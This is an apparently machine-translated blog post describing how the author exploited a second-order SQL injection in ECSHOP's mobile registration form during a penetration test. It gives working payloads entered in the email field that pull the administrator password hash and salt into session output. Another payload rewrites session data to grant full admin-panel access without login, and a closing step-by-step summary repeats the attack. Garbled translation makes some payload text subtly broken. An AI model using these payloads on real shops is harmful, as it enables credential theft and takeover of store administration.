Research on the Utilization posture of a secondary injection in ECSHOP

Research on the Utilization posture of a secondary injection in ECSHOP

 

I recently encountered ECSHOP During Penetration and searched the internet. The new vulnerability was the two injections submitted by wooyun dark Ranger.

ECSHOP latest full version kill Injection

ECSHOP full-version kill injection 2

After reading the details, I found that the two vulnerabilities are caused by the same cause. They are all in the mobile phone version register. Because the mobile phone version does not restrict the input username or email to sensitive characters during registration, this leads to the insertion of single quotes, and is then carried into the query during session update to form a secondary injection.

After testing the target site, I found that the vulnerability exists, and the poc in it also successfully obtained the database information. However, when I further constructed the user name to obtain the Administrator account and password, I found that the token was used for data, an error is reported when the user is not registered, that is, the user cannot be logged on after registration.

So I downloaded a set of Program research and found that all registered user names were truncated.

View the table structure:

The original user name and email can only be 60 bytes in length. It seems that the score of getting the Administrator's password cannot be directly reported because of the chicken's level, so think about other methods.

Since it is an update injection, let's see if there are any output points.

This injection is an update injection in the session table. Because the data in the session table is to be updated to the SESSION, it is not difficult to find a place to output $ _ SESSION. After reading the program source code, I found that after a user logs on, the user center displays the user name where data can be output. So I tried to construct the user name and update the administrator password to the user_name of the session.

However, I found that if the administrator only has one, if there are more than one, the limit statement will exceed 60 bytes.

', User_name = (select password from ecs_admin_user limit 0, 1), ip =' (64 bytes)

Think about it. If you write it like this, it will be exactly 60 characters long.

', User_name = (select password from ecs_admin_user limit 0, 1) #(60 bytes)

However, this will comment out the where statement after the original SQL statement, so that all users' $ _ SESSION ['user _ name'] will be updated to the administrator password, obviously, it is not a perfect way to use it.

So what is better? I thought about the only thing that can be shortened, that is, user_name. Is there any other output point? After reading the source code, we found that the recipient address was filled in when the user purchased the product. The email address was obtained from $ _ SESSION ['email, however, using email as the output point is four bytes shorter than user_name.

The username is constructed.

', Email = (select password from ecs_admin_user limit 0, 1), ip =' (60 bytes)

It is exactly 60 bytes, but after testing, it is found that, because the email in the update statement of the program appears after user_name, it will be overwritten...

I suddenly remembered that the email mentioned in the second vulnerability could also be enclosed in single quotes. Then we directly put the payload in the mailbox for registration, which can be prevented from being overwritten by the subsequent value assignment statement. Enter the email address

', Email = (select password from ecs_admin_user limit 0, 1), ip ='

Register a new user and access/flow. php? Step = consignee. The Administrator's hash is obtained successfully.

Because the ecshop administrator password includes salt, we also need to register a user to obtain the salt.

', Email = (select ec_salt from ecs_admin_user limit 0, 1), ip ='

After successfully obtaining the password and salt, I was excited to solve the problem. The result showed that no password was found...

Suddenly I felt a basin of cold water poured down .. While I was about to give up, I stood on the window sill and thought about what mickey once said: I had to finish my gun with tears. Keep in mind the teachings of Daniel. I'll calm down and think about how to use it.

After reading the data in the session table, I suddenly found a column named adminid. Can I directly access the background by modifying this column? I opened the background logon interface and tried to change the value of adminid to 1, so that I could access the management interface. However, many functions in the background show that they do not have access permissions.

Read the program source code and find that the program will judge $ _ SESSION ['Action _ list']. If the value is all, all functions can be used, $ _ SESSION ['Action _ list'] is obtained from the data column of the session table for direct deserialization.

 

So I tried to construct a mailbox like this.

', Adminid = '1', data = 'a: 1: {s: 11: "action_list"; s: 3: "all ";}'#

Set $ _ SESSION ['adminid'] of all to 1 and $ _ SESSION ['Action _ list'] to all. Because the data items in the update statement are behind the controllable position, you can only use # To comment out the subsequent statements and change all sessions. However, the session of the background administrator in ecshop is generated independently. Therefore, if you have not accessed the background page before, the session cannot be directly accessed, which is relatively hidden.

After the user is registered, refresh several pages and wait for session updates. Then I access the background again and can directly use all functions without logging in.

Summary:

Background logon bypass:

First, access the background and create a session

Then access/mobile/user. php? Act = register

Enter in email

', Adminid = '1', data = 'a: 1: {s: 11: "action_list"; s: 3: "all ";}'#

After logging on to the front-end, you can access/admin/index. php again to bypass all functions in the background.

Obtain the administrator password:

Access/mobile/user. php? Act = register

Enter in email

', Email = (select password from ecs_admin_user limit 0, 1), ip ='

Submit Registration, log on to the user you just registered on the homepage, and then access

/Flow. php? Step = consignee

You can get the password.

Get the postmaster salt:

Same as above

', Email = (select ec_salt from ecs_admin_user limit 0, 1), ip ='